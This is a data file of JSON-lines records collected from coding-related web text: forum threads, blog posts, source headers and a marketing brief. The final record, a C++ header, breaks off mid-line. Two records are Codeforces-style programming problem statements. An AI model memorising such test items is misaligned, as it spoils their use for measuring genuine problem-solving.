{"text": "Please upgrade here. These earlier versions are no longer being updated and have security issues.\nHackerOne users: Testing against this community violates our program's Terms of Service and will result in your bounty being denied.\nVanilla Theme Apply Problem PLease Help\nThis discussion is related to the Bootstrap addon.\nYeterday I Download and setup Vanilla 2.5 on my Ipage server. then i try to add a new theme. I download and Upload Bootstrap 2.5.1 to theme folder and try to apply it. when i click apply it get this error.\n\"The addon could not be enabled because it generated a fatal error:\"\n\"Plugin not found.\"\nhere is the theame Link\nThe bootstrap folder should be \"/themes/Bootstrap\", with a capital B.\nIf it isn't, rename it and delete cached theme files from /cache/\nI get this when I try and use any other theme\nYes it happen to me\nI had this same problem. I was able to solve it by downloading the theme from the Github page instead: https://github.com/kasperisager/vanilla-bootstrap/archive/v2.5.1.zip\nSo is the problem only with bootstrap or with any theme? This post is about not being able to enable any theme not just bootstrap. A moderator should make that clear. If you can’t get a theme to work it does not matter where you got it from.\n❌ ✊ ♥. ¸. ••. ¸♥¸. ••. ¸♥ ✊ ❌\nDoes anyone have the solution to this? @justin_ that didn't work for me.\nBoth the version of the theme listed on this forum and the version from Github work in my local setup.\nWhat version of Vanilla and what version of PHP are you running?\n@stackmouse is correct in that the theme must be placed as\n<YOUR_VANILLA_INSTALL_LOCATION>/themes/Bootstrapwith a capital B. The file unzipped directly from the download has a lowercase\nbat the beginning. This may not be an issue on some systems (with case-insensitive filesystems) but is an issue on many systems. It is also gives warning from Vanilla's AddonManager.\nSorry, @lorddfg but 'Doesn't work' is no use either as feedback or as a request for help.\nWhat have you tried, and what doesn't work?\nSorry, I should have clarified it.\nI downloaded the file and uploaded it. Changed the name from Vanilla-Bootstrap to Bootstrap.\nWhen I enable it, it gives me the plugin not found error.\nI tried changing the name and the error stayed the same.\nSo no dice. I am using the latest Vanila version. I should have been more concise my apologies.\nI just downloaded the github version, changed the folder, and it works in my local test install (XAMPP), so it must be something to do with your set up.\nWhat version of php are you running?\nPHP 7.0, with mariaDB. It's a dedicated server, I just did a clean install, I am already dealing with another issue which I can't make sense off, so it could be related to it.\nI think it might be related to it.\nI see on another thread you said you didn't want to turn off strict mode, but I would suggest you do so, if just to test if that is what is causing the issue(s).\nYou may try deleting the related files in the cache folder first: /cache/theme/*\n@lorddfg Did disabling rocket loader on Cloudflare solve this issue as well? The way cloudflare completely rewrites the scripts breaks our older JS which requires being loaded in a particular order.\nI'm running PHP 7, on apache and linux. Other themes work for me but this one doesn't wanna do it. I keep getting the same error as everyone else \"The addon could not be enabled because it generated a fatal error:\nPlugin not found.\"\nYour error isn't what 'everyone else' is getting.\nAs I said earlier, I downloaded the Github version, changed the folder name as advised, and it worked, so the error isn't simply with the theme.\nDid you delete the cache files?\nCan you try it via an incognito page to rule out cache issues?\nThe error says it all. No plugin found. I got it working by uploading the files to both Themes and Plugins folder. Make sure you rename the folder to Bootstrap. I run PHP 7.2, Vanilla 2.5.2 without any issues with this theme.\nGreat you've solved it, but you wouldn't need it in the\n/plugins´ folder, only in the/themes` folder\nWierd because it only worked when i uploaded all files into the plugins folder. I tested it by removing it as well.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Building a Content Communication Prediction Environment\nBrand Love intelligence (BLi) builds Marketing Intelligence tools that help others create more meaningful digital experiences.\n50 technology changemakers developed a reinforcement model and dashboard to address the following problem.\nAudiences today have to deal with an information overload as they are being flooded by daily content communication online, coming from all sides and corners. That is naturally reducing their attention span. In that way, content is no longer being absorbed and organizations and brands lose their impact. To reverse the tendency of content avoidance, partners of BLi such as organizations (with their various types of brands) and reputable persons such as athletes & artists, are in need of highly relevant content to obtain the audience’s attention and remain at the same time attractive to them in the long run.\nTwo combined things are especially important to address the problem: 1. Moment of being receptive to specific content (receptivity) and 2. Content-match (likeability in the broadest sense). In order to get applicable data (information), we suggest the following technical solution:\nAn interactive hyper-local dashboard (world map) that visualizes the output of the reinforced ML model by providing users (near) real-time insights and notifications of audience receptivity. The dashboard will give users the empowerment to make optional model customizations to adjust the solution to their needs. While the transparency by design will let users understand why the output is as presented. This serves as a launch platform for further research.\nThe reinforcement model will receive input from various sources of data or libraries which are necessary to track (near) real-time hyperlocal indicators that influence behavior. The indicators are as follows: hyper-local influencers (weather, news, vacation, live events, google trends, Share of Search, etc.), journey analysis, mood analysis (anger, joy, confidence, etc.), and behavior analysis (context analysis with NLP and image classification, etc.). For the latter two, the Tweet data of Twitter timelines will be used.\nThe summed above are examples that can be defined later during the project.\nA particular focus of this challenge is The Share of Search (SoS) construct (in other words, ‘Share of Search’ can be defined as the portion of overall online interest in a particular keyword that you are capturing) in relation to the operational and practical quality of SoS within the model functionality. The idea behind it is to strengthen the prediction ability to know which personality types intend to engage (show other behavior) with / act on brands, branches, product categories, products/services at what time (momentum). SoS is believed to have serious predictive value when connected to more of the available data points.\nAn example would be to think of NGO’s and using SoS for nudging the donation behavior of the audience.\nAlso, a connection needs to be made to the BLi infrastructure to get the survey audience’s personality and their answers. We expect to increase our data set every few months in the beginning. Later, the interval will decrease to weeks or even days. Therefore the model needs to have an auto-retrain possibility.\nIn summary, the representative outcomes of the project are as follows:\nA reinforcement ML model that predicts the Audience Cluster Receptivity Score (%) and the Audience Cluster Brand Receptivity Score (%);\nA reinforcement ML model that maps the receptivity stage of worldwide audience clusters. The model will be decided by the community together with the company. The recommended model now is LSTM;\nA real-time interactive dashboard (world map) using the D3 library that visualizes the size and receptivity stage of audience clusters;\nThe (sub-)models developed will be stand-alone and can be used independently or combined with not yet defined future models or code;\nIntegrated REST-APIs to get data from and push output to the BLi tool;\nIn-depth and detailed documentation will be delivered explaining, among other things, why particular choices are made, how code, features, and models are working and what input is needed for optimal performance", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 817, "token_count_with_eod": 818, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Kernel Mode Linux is a technology which enables the execution of user programs in a kernel mode. In Kernel Mode Linux, user programs can access kernel address space directly. Unlike kernel modules, user programs are executed as ordinary processes (except for their privilege level), so scheduling and paging are performed as usual. Although it seems dangerous, the safety of the kernel can be ensured through such methods as static type checking, software fault isolation, and so forth.\nTOS is an operating system kernel that is written in a strictly and statically typed assembly language. Traditional operating system kernels are written in weakly-typed languages (e.g. C, C++). Therefore, it is extremely hard to ensure safety of the kernels. On the other hand, memory safety and control-flow safety of TOS can be ensured automatically through the type check of the language.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 168, "token_count_with_eod": 169, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I routinely work on a session with my friend who is on windows and I’m on Linux. I use ACE Fluidsynth with a SoundFont drumkit. Ardour seems to link the SoundFont into the session and this link breaks when moving the session to another computer since the path to the SoundFont is not the same.\nI have tried to overcome this by manually copying the SoundFont on top of the links in the session that Ardour creates for itself but this does not seem to work either, the drums don’t work on my friends computer.\nIs there a way to make SoundFont drums work reliably when moving a session to another os ? The best option would be if Ardour asked if I want to copy the SoundFont into the session the same way as it does when importing audio files, but this isn’t possible as far as I know. The SoundFont file is only 69 MB.\nI don’t want to record midi to audio because that would be a waste of resources and in principle midi drums work just fine on both platforms.\nHow are other people handling this ?", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 223, "token_count_with_eod": 224, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "The prison of your city has n prisoners. As the prison can't accommodate all of them, the city mayor has decided to transfer c of the prisoners to a prison located in another city.\n\nFor this reason, he made the n prisoners to stand in a line, with a number written on their chests. The number is the severity of the crime he/she has committed. The greater the number, the more severe his/her crime was.\n\nThen, the mayor told you to choose the c prisoners, who will be transferred to the other prison. He also imposed two conditions. They are,\n\n- The chosen c prisoners has to form a contiguous segment of prisoners.\n- Any of the chosen prisoner's crime level should not be greater then t. Because, that will make the prisoner a severe criminal and the mayor doesn't want to take the risk of his running away during the transfer.\n\nFind the number of ways you can choose the c prisoners.", "source": "cpt_codeforces", "language": "en", "token_count": 192, "token_count_with_eod": 193, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "OSX 10.11.6, xeon w3680 6core 12thread\nalso Nightly 2.79 34fe3f9c069\nShort description of error\nUsing a particle instance modifier with Children checked and Normal not checked and then attempting to change certain parameters of the particle system such as in the velocity or children tabs causes a crash. Enabling Normal in the particle instance modifier prevents this from happening.\nExact steps for others to reproduce the error\nCreate a Plane with a hair type particle system.\nCreate a cube with a particle instance modifier and set the object to the Plane with the particle system.\nCheck the box for Children and uncheck the box for Normal.\nGo to the particle system on the Plane and check Advanced.\nDrag any of the values in Velocity or Children and soon it will crash.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Introduction to bayesian statistics\n- ISBN: 9781118091562\n- Editorial: John Wiley & Sons, Inc.\n- Fecha de la edición: 2016\n- Lugar de la edición: New York. Estados Unidos de Norteamérica\n- Edición número: 3rd ed.\n- Encuadernación: Cartoné\n- Medidas: 23 cm\n- Nº Pág.: 597\n- Idiomas: Inglés\n\"...this edition is useful and effective in teaching Bayesian inference at both elementary and intermediate levels. It is a well-written book on elementary Bayesian inference, and the material is easily accessible. It is both concise and timely, and provides a good collection of overviews and reviews of important tools used in Bayesian statistical methods.\" There is a strong upsurge in the use of Bayesian methods in applied statistical analysis, yet most introductory statistics texts only present frequentist methods. Bayesian statistics has many important advantages that students should learn about if they are going into fields where statistics will be used. In this third Edition, four newly-added chapters address topics that reflect the rapid advances in the field of Bayesian statistics. The authors continue to provide a Bayesian treatment of introductory statistical topics, such as scientific data gathering, discrete random variables, robust Bayesian methods, and Bayesian approaches to inference for discrete random variables, binomial proportions, Poisson, and normal means, and simple linear regression.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 296, "token_count_with_eod": 297, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "You're tired. Exhausted. Your mind simply isn't responding. You stare at the code; it stares back\nat you. You type something. It doesn't work. You delete it.\nThe clock says:\nYou know what you need: a break.\nWorking when we’re tired is really dangerous (to us and our applications). We write buggy code, make silly mistakes, they frustrate us, and, finally, we burn out. Everyone has been there. So, what to do rather than keep hammering your head on the keyboard?\nIn fact, you got a lot of options:\n- Lie down (or get up if you’ve been sitting for a long time);\n- Change the room you’re working on;\n- Take a (short) nap;\n- Go on a walk (to your backyard 😢) and look at the sky;\n- Play a song on your guitar;\n- Play with your pet;\n- Tell your loved ones you love them;\n- At least go drink some water! You get hydrated and it may boost your productivity!\nThe important part is to get some distance from the problem you’re facing. Context switch is really important. You may think that breaks will kill your flow, and it’s easy to convince yourself that you don’t have time for them, but hear me out: they work! Well, you don’t have to trust me, science has shown this over and over again.\nI realize not everyone has the freedom/opportunity to do those things. Or you may not be comfortable doing them during work time, and I get it. So, I’ll list some alternative tasks you can do instead. I call them productive laziness because even though they’re not your primary task, they’re still useful (for you and your app)!\nYou don’t need to be a maintainer to do this! OSS folks have lots of work to do, so go ahead and give them some help (and maybe you do end up as a maintainer). You don’t need to be an expert in the project. Just knowing the programming language behind it can help you! You can suggest better variable/method names or methods with better performance, for instance. But please, be kind.\nIf you’re feeling brave, you can help OSS ever further! Fix some bug reported into their issue\ntracker. Maybe a refactor or performance improvement? Search for issues with tags like\nfirst-time-contributor. That’s how I got my first\ncontribution merged into Rails!\nThis is quite obvious, but learning that one method can save your life later! You may found a new helper method that makes your code simpler or faster.\nThis is basically the same as the previous one, but it doesn’t have to be technical. You can learn some productivity technique, read something inspiring or just laugh out loud. I’m pretty sure you have some marked as “read later” somewhere.\nI’m pretty sure you have something to tell. Don’t worry, you don’t have to finish it right away. Just put some basic ideas in the paper. You’ll perfect it later.\nConsider this an investment: a couple of minutes today saves you a life of keystrokes! You can learn some terminal tricks too! It is the same idea.\nIt’ll only take you 5 minutes. Get rid of it accumulating dust in your mailbox and in your brain.\nThis is by far my favorite alternative task. Here you can do what you like the most:\n- Fix N+1 queries;\n- Add tests to improve your test coverage;\n- Improve the loading time for some page in your web app (using lighthouse and other dev tools);\n- Fix that one exception that your monitoring tool reported. This might be a good opportunity to start TDDing. Here’s how.\n- Solve some simple CSS problem: alignments or spacing issues, for example;\n- Refactor some nasty code you find. You can do simple things like renaming variables/methods or extracting functions/classes.\n“A refactor a day keeps the rewrite away!” - Developer Granny\nYou may not fix that nasty bug by the end of the day, but a least your app will be faster/cleaner/have more tests! I think that’s a nice trade-off.\nThese short tasks give us small wins, and they motivates us to keep working on annoying chores.\nHere’s something to keep an eye on: be sure to make the laziness time-boxed! You don’t want to spend the whole day in a alternative task 😜.\nFinally, no matter how your day goes, be kind to yourself. Some days are amazing, some days are terrible, but most days are just doing the work of life. Do your best to enjoy them!", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 981, "token_count_with_eod": 982, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Another trick, right click your mouse on a page and\npull down to View Page Source\nOne last trick, as root\nupdatedb runs for several minutes, then\n> So what Linux distibution are you using now? RedHat distros usually have\n> a default home page for Netscape that has links to Apache docs and\n> RedHat's website. Maybe you did not install other html docs, but you may\n> be able to find something in /usr/doc\n> http://www.autox.chicago.il.us/ http://www.berniesfloral.net/\n> http://hammer.prohosting.com/~cgi-wiz/ http://cgi-help.virtualave.net/\nHi. I've been looking around, and eventually I will probably find these,\nbut there's got to be a better way.\nI can't seem to find the following utilities:\nI need expr to build a new kernel. I am trying to get my Logitech Bus\nmouse to work. This is the only one that is essential.\nI realize that nroff and catman are possibly not available, but then\nhow to we linuxers create cat? entries for our man pages? I could\ngo to our Sun, but that's not really an answer.\nDavid Giller, Box 134 | Q: How many Oregonians does it take to screw in a light\nOccidental College | bulb? A: Three. One to replace the bulb, and two to\n1600 Campus Road | fend off all the Californians trying to share the", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 326, "token_count_with_eod": 327, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "While most Lebanese were busy decorating Christmas trees and shopping for gifts last weekend, a crowd of young Lebanese IT enthusiasts were enjoying an emotional beneficence of a different kind with Microsoft. On December 10th and 11th at Berytech Mansourieh, Microsoft Lebanon held its first Windows Phone Dev Camp, a two-day workshop that illuminated the way for technology fanatics whose hearts beat wildly for technology's latest buzzword, Apps, and Microsoft's long-awaited offspring, Windows Phone.\nThe event comes as an initiative by Microsoft Lebanon to enable and empower the growing generation of Lebanese IT enthusiasts, not only to be part of the worldwide IT revolution but also to actively participate in driving it. Charbel Fakhoury, VP Sales, Marketing & Services, Middle East and Africa Region, Microsoft opened the event with a keynote telling the audience:\n\"The shift towards knowledge economy can only occur based on education, innovation and entrepreneurship, which is where Microsoft is pulling all its weight today\". \"With events such as TechDays Beirut and Dev Camps Beirut, we provide the knowledge and skills training that local and talented developers need to unleash their potential, start off a business and hopefully grow and create more job opportunities\", added Fakhoury.\nFrom 9 am till 8 pm over the course of two days, over 250 IT students and professional developers gathered in groups around Microsoft's local and regional Windows Phone experts to learn how to create applications for Microsoft's mobile Operating System, Windows Phone. On day one, participants received deep-dive learning sessions about Windows Phone, Silverlight and XNA, Windows Azure toolkit for Windows Phone, Windows Phone Development, Game Development Principals and Coding.\n\"Windows Phone is built around people and what they love to do; we have organized this event to equip Lebanese developers with the know-how and tools they need to do what they love and take it out to the whole world\", said Ghassan Chahine, Developer and Platform Strategy Lead at Microsoft Lebanon.\nOn day two, the well-grounded developers set free their creativity and put their bright minds, honed skills and advanced tools at work, as they coded and conceived their dream Windows Phone apps. By the end of the workshop, over 37 applications were developed and submitted to the Windows Phone Marketplace via Yallaapps, for users worldwide to enjoy and benefit from them. The workshop saw the participation of truly inspired developers and resulted in the creation of a number of exceptionally smart apps, spanning a vast array of subjects from fashion and tourism through to lifestyle, business and games.\nTo end in true holiday spirit, Microsoft rewarded the most innovative team of developers with a brand new Windows Phone device. Worms7, the winning team of USJ students who developed the App ‘Dress Box', commented: \"It was a very exciting opportunity to take part in this Microsoft unique event as it offered us what we needed most – the hands-on experience in coding and developing apps and the guidance from regional experts\"\nParticipants were encouraged to continue developing their dream apps following the event and submit them to the marketplace through Yallaapps, with a chance to win another Windows Phone device just in time for the New Year.\nThe briefings also included presentations by business development specialists from Berytech and the Managing Director of ArabNet, the hub for Arab digital professionals and entrepreneurs, who showed the young developers the short and sure way to grow their potential and establish a business in this field using all available opportunities.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 707, "token_count_with_eod": 708, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Below is the Glide Factor design document. A picture is worth a thousand words.\nActually, it's just the instructions screen that you can access from the main menu. We wanted to be able to convey the full use of the game without using a single word, just a few nice looking icons.\nThe top part of the instructions screen explains the controls. The fact that the only movement instructions are the direction towards which you have to tilt the device has some implications. It does not specify how the device is held or its angle towards the ground, which means that from a usage standpoint, the player would be correct to assume that they can play Glide Factor in whatever position they are comfortable in; whether that is sitting in the Metro or lying on the couch. For us to be able to accommodate this correct assumption meant that we had to do some extra work behind the scenes.\nNo manual calibration\nMany tilt based apps get around this \"player position\" problem by adding a calibration screen. This places an extra usage burden to the player by requesting them to perform an additional action, possibly multiple times. Nonetheless we tried it, and early play tests, my girlfriend and my friends, hated it! So we decided to automate the calibration process in the background, and at the start of each level. The lack of a visible calibration process makes things faster, easier and invisible. As far as the player is concerned it just works.\nThe shake bomb\nWhile gliding through a level, oftentimes power ups will pop up to help you out. One of them is the shake bomb. Upon collection of the shake bomb, a player has five seconds to shake the device in order to make all on screen obstacles disappear. I can imagine the shake bomb being quite useful in the situation below:\nIn this case, the code must be able to differentiate between regular gliding movement, and shaking; all from the same signal input. It could be tricky but it was actually one of the easier problems to solve during development.\nThe technical stuff\nIf you are a developer, I hope you will find this useful.\nGlide movement using the accelerometer\nThe work below is located in the accelerometer callback function. Set the frequency of the callback to whatever is most suitable to your application. Glide Factor runs this at 20Hz.\nOn entry gather the raw x, y and z acceleration values. Because Glide Factor is a left oriented landscape application, we assigned the value of x to y and vice versa, as the accelerometer does not adjust, and rightly so, to changes in the screens orientation.\nCheck if the direction towards which we are accelerating to has changed. For axes x and y get their direction, which is the sign of the raw accelerometer value, and the acceleration direction which is the opposite sign of the velocity of the axis. For each axis x and y if the signs of the direction and the acceleration direction match, then the acceleration value for each axis will be the sum of its previous value, plus a constant, multiplied by the sign of its previous value. Adjust the value of this constant in order to increase viscosity.\nApply the change in acceleration to the current velocity of each axis. The velocity for each axis will be the product of the acceleration, the raw axis value and a constant. Adjust the value of this constant in order to increase/decrease velocity. Once we have the velocity, for our implementation, we add it to a pair of screen coordinates we maintain for the glider, and draw the glider.\nIf you apply the above methodology to your own code, you will get fluid accelerometer control on a 2D plane albeit on a fixed angle to the ground, depending on the values that have been assigned to the constants. This means that the z axis movement has not been calibrated to a comfortable user position/angle as mentioned above. I will, of course, be talking about auto calibration in a future post.\nThe shake bomb\nIn order to detect that the device has been shaken apply a high pass filter to the raw acceleration values. Then take the square root of the sum of the squares of the filtered values to compute the intensity of the current acceleration. If the intensity is above a certain threshold then the device has been shaken!\nHopefully, I will be able to post some code soon. If you would like to follow up on this, just leave a comment here or on twitter\n, or drop us a line at firstname.lastname@example.org\nWe are hard at work on our next game; All I can say for the moment is that we will attempt to augment the methodology described in this post, and apply it to 3D space, instead of a 2D plane. This has its challenges, but early testing has given us some valuable feedback. In short, to make tilt work in 3D space forget about mapping specific tilt actions to specific on screen behaviour. In this case it's all about context and the players preceding tilt action.\nThanks for reading! Soon, we'll be working on a post that focuses on the graphics of Glide Factor, the graphical style and how we used OpenGL. Hope to see you then and enjoy playing Glide Factor!\nLabels: games, Glide Factor, glidefactor, iphone, ipod touch", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "What is 404 not found?\nOne of my friends telling he has a lots of 404 not found on his blog and did not show the previous URL after search by Google. I told him when you hosted your site and did you delete your previous site. He just let me yes he had a good blog about some tutorial and good rank on Google but somehow he lost his hosting server.\nI gave him some idea regarding 404 not found or why page not found from Google Webmaster Tools. Actually, if someone request to server to display but the page does not exist the server will automatically return 404 not found error. Such type of problem clearly informs both browsers and search engine that the page is not existing on the live server. After that the article or content would not be crawled by search engine. If the 404 code response to a request that the page does not exist, then the server will show 404 page. This means the file or page is not found File not Found In SEO talk we can say broken link. Some time such type of broken link dramatically decries your traffic and visitor will never come to your site for the next time to surfing any things. So be careful about 404 or broken link. No worries I will give some effective tips around this issue how to recover shortly. Just follow and do this immediately.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 286, "token_count_with_eod": 287, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "/*\n* This header is generated by classdump-dyld 1.0\n* on Sunday, June 7, 2020 at 11:44:43 AM Mountain Standard Time\n* Operating System: Version 13.4.5 (Build 17L562)\n* Image Source: /System/Library/PrivateFrameworks/TVPlayback.framework/TVPlayback\n* classdump-dyld is licensed under GPLv3, Copyright © 2013-2016 by Elias Limneos.\n*/\n\n#import <TVPlayback/TVPlayback-Structs.h>\n#import <TVPlayback/TVPCollectionView.h>\n\n@interface TVPMusicCollectionView : TVPCollectionView\n-(id)initWithFrame:(CGRect)arg1 collectionViewLayout:(id)arg2 ;\n@end", "source": "cpt_stack_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "If your learner is already on a programme, and you want to assign them to a different programme, you must first stop the earlier program.\nMoving a learner to a new program\nTo move them, you must stop the earlier programme and then enrol them on a new program.\nOn the User profile page, navigate to the Programme panel.\nOn the Programme panel, click stop on the right of your screen.\nA Stop programme popup will be displayed.\nIf you wish, you can create a tracker to record why you are stopping this programme.\nClick Ok to stop the programme.\nYou can then enrol the learner onto a new program.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 132, "token_count_with_eod": 133, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "/********************************************************************** <BR>\r\n   This file is part of Crack dot Com's free source code release of\r\n   Golgotha. <a href=\"http://www.crack.com/golgotha_release\"> <BR> for\r\n   information about compiling & licensing issues visit this URL</a>\r\n   <PRE> If that doesn't help, contact Jonathan Clark at\r\n   golgotha_source@usa.net (Subject should have \"GOLG\" in it)\r\n ***********************************************************************/\r\n\r\n#ifndef __DRAGWIN_HPP_\r\n#define __DRAGWIN_HPP_\r\n\r\n#include \"window/window.h\"\r\n\r\nclass i4_drag_frame_class;\r\n\r\nclass i4_draggable_window_class :\r\n\tpublic i4_parent_window_class\r\n{\r\n\ti4_coord last_mouse_x,\r\n\t\t\t last_mouse_y,\r\n\t\t\t current_mouse_x,\r\n\t\t\t current_mouse_y;\r\n\r\n\ti4_drag_frame_class * drag_frame;\r\npublic:\r\n\tvirtual void receive_event(i4_event * ev);\r\n\ti4_draggable_window_class(w16 w, w16 h);\r\n\tvoid name(char * buffer)\r\n\t{\r\n\t\tstatic_name(buffer,\"drag_frame\");\r\n\t}\r\n} ;\r\n\r\n\r\n\r\n#endif", "source": "cpt_stack_code", "language": "code", "token_count": 244, "token_count_with_eod": 245, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "Monocarp and Polycarp are learning new programming techniques. Now they decided to try pair programming.\n\nIt's known that they have worked together on the same file for $$$n + m$$$ minutes. Every minute exactly one of them made one change to the file. Before they started, there were already $$$k$$$ lines written in the file.\n\nEvery minute exactly one of them does one of two actions: adds a new line to the end of the file or changes one of its lines.\n\nMonocarp worked in total for $$$n$$$ minutes and performed the sequence of actions $$$[a_1, a_2, \\dots, a_n]$$$. If $$$a_i = 0$$$, then he adds a new line to the end of the file. If $$$a_i > 0$$$, then he changes the line with the number $$$a_i$$$. Monocarp performed actions strictly in this order: $$$a_1$$$, then $$$a_2$$$, ..., $$$a_n$$$.\n\nPolycarp worked in total for $$$m$$$ minutes and performed the sequence of actions $$$[b_1, b_2, \\dots, b_m]$$$. If $$$b_j = 0$$$, then he adds a new line to the end of the file. If $$$b_j > 0$$$, then he changes the line with the number $$$b_j$$$. Polycarp performed actions strictly in this order: $$$b_1$$$, then $$$b_2$$$, ..., $$$b_m$$$.\n\nRestore their common sequence of actions of length $$$n + m$$$ such that all actions would be correct — there should be no changes to lines that do not yet exist. Keep in mind that in the common sequence Monocarp's actions should form the subsequence $$$[a_1, a_2, \\dots, a_n]$$$ and Polycarp's — subsequence $$$[b_1, b_2, \\dots, b_m]$$$. They can replace each other at the computer any number of times.\n\nLet's look at an example. Suppose $$$k = 3$$$. Monocarp first changed the line with the number $$$2$$$ and then added a new line (thus, $$$n = 2, \\: a = [2, 0]$$$). Polycarp first added a new line and then changed the line with the number $$$5$$$ (thus, $$$m = 2, \\: b = [0, 5]$$$).\n\nSince the initial length of the file was $$$3$$$, in order for Polycarp to change line number $$$5$$$ two new lines must be added beforehand. Examples of correct sequences of changes, in this case, would be $$$[0, 2, 0, 5]$$$ and $$$[2, 0, 0, 5]$$$. Changes $$$[0, 0, 5, 2]$$$ (wrong order of actions) and $$$[0, 5, 2, 0]$$$ (line $$$5$$$ cannot be edited yet) are not correct.", "source": "cpt_codeforces", "language": "en", "token_count": 651, "token_count_with_eod": 652, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "/*\n * Proland: a procedural landscape rendering library.\n * Copyright (c) 2008-2011 INRIA\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n */\n\n/*\n * Proland is distributed under a dual-license scheme.\n * You can obtain a specific license from Inria: proland-licensing@inria.fr.\n */\n\n/*\n * Authors: Eric Bruneton, Antoine Begault, Guillaume Piolat.\n */\n\n#ifndef _PROLAND_EVENTRECORDER_H_\n#define _PROLAND_EVENTRECORDER_H_\n\n#include <vector>\n\n#include \"ork/core/Timer.h\"\n#include \"ork/render/Program.h\"\n#include \"ork/render/Texture2D.h\"\n#include \"ork/ui/EventHandler.h\"\n\nusing namespace std;\n\nusing namespace ork;\n\nnamespace proland\n{\n\n/**\n * An object that can be recorded by an EventRecorder.\n * See #EventRecorder.\n * @ingroup proland_ui\n * @authors Eric Bruneton, Antoine Begault, Guillaume Piolat\n */\nPROLAND_API class Recordable\n{\npublic:\n    /**\n     * Saves the current scene state. This method is called just before\n     * starting recording.\n     */\n    virtual void saveState() = 0;\n\n    /**\n     * Restores the scene state that was saved during the last call to\n     * #saveState.\n     */\n    virtual void restoreState() = 0;\n};\n\n/**\n * An EventHandler that can record and replay events, and save a video\n * during replay. Recording is started and stopped with F12. Replay is\n * triggered with F11, or SHIFT+F11 to record a video while replaying.\n * The recorded video does not contain all the original frames, but only\n * 25 frames per second.\n * Since replay cannot be done at the same rate as the original events,\n * especially when saving a video, the events are recorded together with\n * the time at which they originally occured, to be able to override the\n * real-time during replay with the original time during recording.\n * Also if modifications have been performed to the scene during the\n * recording, the initial scene state must be restored before replaying\n * the event. This is managed by a Recordable, that is used by this\n * EventRecorder.\n * @ingroup proland_ui\n */\nPROLAND_API class EventRecorder : public EventHandler\n{\npublic:\n    /**\n     * A recorded event.\n     */\n    struct Event\n    {\n        enum EventType\n        {\n            DISPLAY, ///< EventHandler#redisplay\n            MOUSE, ///< EventHandler#mouseClick\n            MOTION, ///< EventHandler#mouseMotion\n            PASSIVEMOTION, ///< EventHandler#mousePassiveMotion\n            WHEEL, ///< EventHandler#mouseWheel\n            KEYBOARD, ///< EventHandler#keyType and EventHandler#keyReleased\n            SPECIAL ///< EventHandler#specialKey and EventHandler#specialKeyReleased\n        };\n\n        EventType kind; ///< type of this event\n\n        union {\n            struct {\n                double t;\n\n                double dt;\n\n                float groundHeight;\n            } display;\n\n            struct {\n                int m; ///< the modifiers state when this event was recorded.\n\n                int arg1; ///< first event argument. Value depends on event type.\n\n                int arg2; ///< second event argument. Value depends on event type.\n\n                int arg3; ///< third event argument. Value depends on event type.\n\n                int arg4; ///< fourth event argument. Value depends on event type.\n            } e;\n        };\n\n        /**\n         * Creates an uninitialized event.\n         **/\n        Event();\n\n        /**\n         * Creates a new DISPLAY event.\n         *\n         * @param t the time at which this event was recorded.\n         * @param\n         */\n        Event(double t, double dt, float groundHeight);\n\n        /**\n         * Creates a new event.\n         *\n         * @param kind the event type.\n         * @param m the current modifiers state.\n         * @param arg1 first event argumemt. Value depends on event type.\n         * @param arg2 second event argumemt. Value depends on event type.\n         * @param arg3 third event argumemt. Value depends on event type.\n         * @param arg4 fourth event argumemt. Value depends on event type.\n         */\n        Event(EventType kind, int m, int arg1 = 0, int arg2 = 0, int arg3 = 0, int arg4 = 0);\n    };\n\n    /**\n     * Creates a new EventRecorder.\n     *\n     * @param eventFile the name of a file containing stored events to be\n     *      replayed, or NULL.\n     * @param autoSave true to save events in a temporary file at each mouse\n     *      click and key typed event (useful for saving events if scenario\n     *      leads to a crash).\n     * @param frames the file name format to be used to save the video frames.\n     *      For instance \"video/frame-%d.tga\" or \"video/frame-%.4d.tga\".\n     * @param cursorProg the GLSL program used to draw the cursor on the screen.\n     * @param cursor a cursor texture to display the cursor position during\n     *      replay.\n     * @param next the EventHandler that must handle the events recorded and\n     *      replayed by this EventRecorder.\n     */\n    EventRecorder(const char *eventFile, bool autoSave, const char *frames, ptr<Program> cursorProg, ptr<Texture2D> cursor, ptr<EventHandler> next);\n\n    /**\n     * Deletes this EventRecorder.\n     */\n    virtual ~EventRecorder();\n\n    void setEventFile(const char 